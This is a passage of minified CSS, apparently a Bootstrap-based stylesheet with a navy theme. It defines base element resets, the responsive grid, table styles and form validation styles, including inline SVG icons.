New",monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-size:1rem;font-weight:400;line-height:1.5;color:#001d68;text-align:left;background-color:#fff}[tabindex="-1"]:focus:not(:focus-visible){outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;text-decoration:underline dotted;cursor:help;border-bottom:0;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#001d68;text-decoration:none;background-color:transparent}a:hover{color:#00081c;text-decoration:underline}a:not([href]){color:inherit;text-decoration:none}a:not([href]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#969696;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:80%;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#969696}.blockquote-footer::before{content:"\2014\00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#969696}code{font-size:87.5%;color:#e83e8c;word-wrap:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid,.container-lg,.container-md,.container-sm,.container-xl{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}.row{display:flex;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{flex-basis:0;flex-grow:1;min-width:0;max-width:100%}.row-cols-1>*{flex:0 0 100%;max-width:100%}.row-cols-2>*{flex:0 0 50%;max-width:50%}.row-cols-3>*{flex:0 0 33.33333%;max-width:33.33333%}.row-cols-4>*{flex:0 0 25%;max-width:25%}.row-cols-5>*{flex:0 0 20%;max-width:20%}.row-cols-6>*{flex:0 0 16.66667%;max-width:16.66667%}.col-auto{flex:0 0 auto;width:auto;max-width:100%}.col-1{flex:0 0 8.33333%;max-width:8.33333%}.col-2{flex:0 0 16.66667%;max-width:16.66667%}.col-3{flex:0 0 25%;max-width:25%}.col-4{flex:0 0 33.33333%;max-width:33.33333%}.col-5{flex:0 0 41.66667%;max-width:41.66667%}.col-6{flex:0 0 50%;max-width:50%}.col-7{flex:0 0 58.33333%;max-width:58.33333%}.col-8{flex:0 0 66.66667%;max-width:66.66667%}.col-9{flex:0 0 75%;max-width:75%}.col-10{flex:0 0 83.33333%;max-width:83.33333%}.col-11{flex:0 0 91.66667%;max-width:91.66667%}.col-12{flex:0 0 100%;max-width:100%}.order-first{order:-1}.order-last{order:13}.order-0{order:0}.order-1{order:1}.order-2{order:2}.order-3{order:3}.order-4{order:4}.order-5{order:5}.order-6{order:6}.order-7{order:7}.order-8{order:8}.order-9{order:9}.order-10{order:10}.order-11{order:11}.order-12{order:12}.offset-1{margin-left:8.33333%}.offset-2{margin-left:16.66667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333%}.offset-5{margin-left:41.66667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333%}.offset-8{margin-left:66.66667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333%}.offset-11{margin-left:91.66667%}@media (min-width:576px){.col-sm{flex-basis:0;flex-grow:1;min-width:0;max-width:100%}.row-cols-sm-1>*{flex:0 0 100%;max-width:100%}.row-cols-sm-2>*{flex:0 0 50%;max-width:50%}.row-cols-sm-3>*{flex:0 0 33.33333%;max-width:33.33333%}.row-cols-sm-4>*{flex:0 0 25%;max-width:25%}.row-cols-sm-5>*{flex:0 0 20%;max-width:20%}.row-cols-sm-6>*{flex:0 0 16.66667%;max-width:16.66667%}.col-sm-auto{flex:0 0 auto;width:auto;max-width:100%}.col-sm-1{flex:0 0 8.33333%;max-width:8.33333%}.col-sm-2{flex:0 0 16.66667%;max-width:16.66667%}.col-sm-3{flex:0 0 25%;max-width:25%}.col-sm-4{flex:0 0 33.33333%;max-width:33.33333%}.col-sm-5{flex:0 0 41.66667%;max-width:41.66667%}.col-sm-6{flex:0 0 50%;max-width:50%}.col-sm-7{flex:0 0 58.33333%;max-width:58.33333%}.col-sm-8{flex:0 0 66.66667%;max-width:66.66667%}.col-sm-9{flex:0 0 75%;max-width:75%}.col-sm-10{flex:0 0 83.33333%;max-width:83.33333%}.col-sm-11{flex:0 0 91.66667%;max-width:91.66667%}.col-sm-12{flex:0 0 100%;max-width:100%}.order-sm-first{order:-1}.order-sm-last{order:13}.order-sm-0{order:0}.order-sm-1{order:1}.order-sm-2{order:2}.order-sm-3{order:3}.order-sm-4{order:4}.order-sm-5{order:5}.order-sm-6{order:6}.order-sm-7{order:7}.order-sm-8{order:8}.order-sm-9{order:9}.order-sm-10{order:10}.order-sm-11{order:11}.order-sm-12{order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333%}.offset-sm-2{margin-left:16.66667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333%}.offset-sm-5{margin-left:41.66667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333%}.offset-sm-8{margin-left:66.66667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333%}.offset-sm-11{margin-left:91.66667%}}@media (min-width:768px){.col-md{flex-basis:0;flex-grow:1;min-width:0;max-width:100%}.row-cols-md-1>*{flex:0 0 100%;max-width:100%}.row-cols-md-2>*{flex:0 0 50%;max-width:50%}.row-cols-md-3>*{flex:0 0 33.33333%;max-width:33.33333%}.row-cols-md-4>*{flex:0 0 25%;max-width:25%}.row-cols-md-5>*{flex:0 0 20%;max-width:20%}.row-cols-md-6>*{flex:0 0 16.66667%;max-width:16.66667%}.col-md-auto{flex:0 0 auto;width:auto;max-width:100%}.col-md-1{flex:0 0 8.33333%;max-width:8.33333%}.col-md-2{flex:0 0 16.66667%;max-width:16.66667%}.col-md-3{flex:0 0 25%;max-width:25%}.col-md-4{flex:0 0 33.33333%;max-width:33.33333%}.col-md-5{flex:0 0 41.66667%;max-width:41.66667%}.col-md-6{flex:0 0 50%;max-width:50%}.col-md-7{flex:0 0 58.33333%;max-width:58.33333%}.col-md-8{flex:0 0 66.66667%;max-width:66.66667%}.col-md-9{flex:0 0 75%;max-width:75%}.col-md-10{flex:0 0 83.33333%;max-width:83.33333%}.col-md-11{flex:0 0 91.66667%;max-width:91.66667%}.col-md-12{flex:0 0 100%;max-width:100%}.order-md-first{order:-1}.order-md-last{order:13}.order-md-0{order:0}.order-md-1{order:1}.order-md-2{order:2}.order-md-3{order:3}.order-md-4{order:4}.order-md-5{order:5}.order-md-6{order:6}.order-md-7{order:7}.order-md-8{order:8}.order-md-9{order:9}.order-md-10{order:10}.order-md-11{order:11}.order-md-12{order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333%}.offset-md-2{margin-left:16.66667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333%}.offset-md-5{margin-left:41.66667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333%}.offset-md-8{margin-left:66.66667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333%}.offset-md-11{margin-left:91.66667%}}@media (min-width:992px){.col-lg{flex-basis:0;flex-grow:1;min-width:0;max-width:100%}.row-cols-lg-1>*{flex:0 0 100%;max-width:100%}.row-cols-lg-2>*{flex:0 0 50%;max-width:50%}.row-cols-lg-3>*{flex:0 0 33.33333%;max-width:33.33333%}.row-cols-lg-4>*{flex:0 0 25%;max-width:25%}.row-cols-lg-5>*{flex:0 0 20%;max-width:20%}.row-cols-lg-6>*{flex:0 0 16.66667%;max-width:16.66667%}.col-lg-auto{flex:0 0 auto;width:auto;max-width:100%}.col-lg-1{flex:0 0 8.33333%;max-width:8.33333%}.col-lg-2{flex:0 0 16.66667%;max-width:16.66667%}.col-lg-3{flex:0 0 25%;max-width:25%}.col-lg-4{flex:0 0 33.33333%;max-width:33.33333%}.col-lg-5{flex:0 0 41.66667%;max-width:41.66667%}.col-lg-6{flex:0 0 50%;max-width:50%}.col-lg-7{flex:0 0 58.33333%;max-width:58.33333%}.col-lg-8{flex:0 0 66.66667%;max-width:66.66667%}.col-lg-9{flex:0 0 75%;max-width:75%}.col-lg-10{flex:0 0 83.33333%;max-width:83.33333%}.col-lg-11{flex:0 0 91.66667%;max-width:91.66667%}.col-lg-12{flex:0 0 100%;max-width:100%}.order-lg-first{order:-1}.order-lg-last{order:13}.order-lg-0{order:0}.order-lg-1{order:1}.order-lg-2{order:2}.order-lg-3{order:3}.order-lg-4{order:4}.order-lg-5{order:5}.order-lg-6{order:6}.order-lg-7{order:7}.order-lg-8{order:8}.order-lg-9{order:9}.order-lg-10{order:10}.order-lg-11{order:11}.order-lg-12{order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333%}.offset-lg-2{margin-left:16.66667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333%}.offset-lg-5{margin-left:41.66667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333%}.offset-lg-8{margin-left:66.66667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333%}.offset-lg-11{margin-left:91.66667%}}@media (min-width:1200px){.col-xl{flex-basis:0;flex-grow:1;min-width:0;max-width:100%}.row-cols-xl-1>*{flex:0 0 100%;max-width:100%}.row-cols-xl-2>*{flex:0 0 50%;max-width:50%}.row-cols-xl-3>*{flex:0 0 33.33333%;max-width:33.33333%}.row-cols-xl-4>*{flex:0 0 25%;max-width:25%}.row-cols-xl-5>*{flex:0 0 20%;max-width:20%}.row-cols-xl-6>*{flex:0 0 16.66667%;max-width:16.66667%}.col-xl-auto{flex:0 0 auto;width:auto;max-width:100%}.col-xl-1{flex:0 0 8.33333%;max-width:8.33333%}.col-xl-2{flex:0 0 16.66667%;max-width:16.66667%}.col-xl-3{flex:0 0 25%;max-width:25%}.col-xl-4{flex:0 0 33.33333%;max-width:33.33333%}.col-xl-5{flex:0 0 41.66667%;max-width:41.66667%}.col-xl-6{flex:0 0 50%;max-width:50%}.col-xl-7{flex:0 0 58.33333%;max-width:58.33333%}.col-xl-8{flex:0 0 66.66667%;max-width:66.66667%}.col-xl-9{flex:0 0 75%;max-width:75%}.col-xl-10{flex:0 0 83.33333%;max-width:83.33333%}.col-xl-11{flex:0 0 91.66667%;max-width:91.66667%}.col-xl-12{flex:0 0 100%;max-width:100%}.order-xl-first{order:-1}.order-xl-last{order:13}.order-xl-0{order:0}.order-xl-1{order:1}.order-xl-2{order:2}.order-xl-3{order:3}.order-xl-4{order:4}.order-xl-5{order:5}.order-xl-6{order:6}.order-xl-7{order:7}.order-xl-8{order:8}.order-xl-9{order:9}.order-xl-10{order:10}.order-xl-11{order:11}.order-xl-12{order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333%}.offset-xl-2{margin-left:16.66667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333%}.offset-xl-5{margin-left:41.66667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333%}.offset-xl-8{margin-left:66.66667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333%}.offset-xl-11{margin-left:91.66667%}}.table{width:100%;margin-bottom:1rem;color:#001d68}.table td,.table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table-sm td,.table-sm th{padding:.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:#f7f7f7}.table-hover tbody tr:hover{color:#001d68;background-color:rgba(0,0,0,.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#b8c0d5}.table-primary tbody+tbody,.table-primary td,.table-primary th,.table-primary thead th{border-color:#7a89b0}.table-hover .table-primary:hover{background-color:#a8b2cc}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#a8b2cc}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#b8c0d5}.table-secondary tbody+tbody,.table-secondary td,.table-secondary th,.table-secondary thead th{border-color:#7a89b0}.table-hover .table-secondary:hover{background-color:#a8b2cc}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#a8b2cc}.table-success,.table-success>td,.table-success>th{background-color:#c6e2c6}.table-success tbody+tbody,.table-success td,.table-success th,.table-success thead th{border-color:#95ca95}.table-hover .table-success:hover{background-color:#b5d9b5}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b5d9b5}.table-info,.table-info>td,.table-info>th{background-color:#e2e2e2}.table-info tbody+tbody,.table-info td,.table-info th,.table-info thead th{border-color:#c8c8c8}.table-hover .table-info:hover{background-color:#d5d5d5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#d5d5d5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-warning tbody+tbody,.table-warning td,.table-warning th,.table-warning thead th{border-color:#ffdf7e}.table-hover .table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f2bcc6}.table-danger tbody+tbody,.table-danger td,.table-danger th,.table-danger thead th{border-color:#e88395}.table-hover .table-danger:hover{background-color:#eea7b4}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#eea7b4}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfd}.table-light tbody+tbody,.table-light td,.table-light th,.table-light thead th{border-color:#fbfbfb}.table-hover .table-light:hover{background-color:#f0f0f0}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#f0f0f0}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#95999c}.table-hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;background-color:#001d68;border-color:#00288e}.table .thead-light th{color:#001d68;background-color:#f0f0f0;border-color:#dee2e6}.table-dark{color:#fff;background-color:#001d68}.table-dark td,.table-dark th,.table-dark thead th{border-color:#00288e}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.table-dark.table-hover tbody tr:hover{color:#fff;background-color:rgba(255,255,255,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#001d68;background-color:#fff;background-clip:padding-box;border:1px solid #969696;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:-moz-focusring{color:transparent;text-shadow:0 0 0 #001d68}.form-control:focus{color:#001d68;background-color:#fff;border-color:#001d68;outline:0}.form-control::placeholder{color:#ced4da;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#f7f7f7;opacity:1}input[type=date].form-control,input[type=datetime-local].form-control,input[type=month].form-control,input[type=time].form-control{appearance:none}select.form-control:focus::-ms-value{color:#001d68;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;font-size:1rem;line-height:1.5;color:#001d68;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.form-control-lg{height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}select.form-control[multiple],select.form-control[size]{height:auto}textarea.form-control{height:auto}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:.25rem}.form-row{display:flex;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label,.form-check-input[disabled]~.form-check-label{color:#969696}.form-check-label{margin-bottom:0}.form-check-inline{display:inline-flex;align-items:center;padding-left:0;margin-right:.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#393}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(51,153,51,.9);border-radius:.25rem}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:#393;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%23339933' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#393;box-shadow:0 0 0 .2rem rgba(51,153,51,.25)}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-valid,.was-validated .custom-select:valid{border-color:#393;padding-right:calc(.75em + 2.3125rem);background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px,url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8' viewBox='0 0 8 8'%3e%3cpath fill='%23339933' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e") #fff no-repeat center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem)}.custom-select.is-valid:focus,.was-validated .custom-select:valid:focus{border-color:#393;box-shadow:0 0 0 .2rem rgba(51,153,51,.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#393}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#393}.custom-control-input.is-valid~.custom-control-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{border-color:#393}.custom-control-input.is-valid:checked~.custom-control-label::before,.was-validated .custom-control-input:valid:checked~.custom-control-label::before{border-color:#40bf40;background-color:#40bf40}.custom-control-input.is-valid:focus~.custom-control-label::before,.was-validated .custom-control-input:valid:focus~.custom-control-label::before{box-shadow:0 0 0 .2rem rgba(51,153,51,.25)}.custom-control-input.is-valid:focus:not(:checked)~.custom-control-label::before,.was-validated .custom-control-input:valid:focus:not(:checked)~.custom-control-label::before{border-color:#393}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#393}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{border-color:#393;box-shadow:0 0 0 .2rem rgba(51,153,51,.25)}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#d21034}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(210,16,52,.9);border-radius:.25rem}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#d21034;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23d21034' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23d21034' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#d21034;box-shadow:0 0 0 .2rem rgba(210,16,52,.25)}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-invalid,.was-validated .custom-select:invalid{border-color:#d21034;padding-right:calc(.75em + 2.3125rem);background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='4' height='5' viewBox='0 0 4 5'%3e%3cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px,url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' fill='none' stroke='%23d21034' viewBox='0 0 12 12'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23d21034' stroke='none'/%3e%3c/svg%3e") #fff no-repeat center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem)}.custom-select.is-invalid:focus,.was-validated .custom-select:invalid:focus{border-color:#d21034;box-shadow:0 0 0 .2rem rgba(210,16,52,.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#d21034}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated 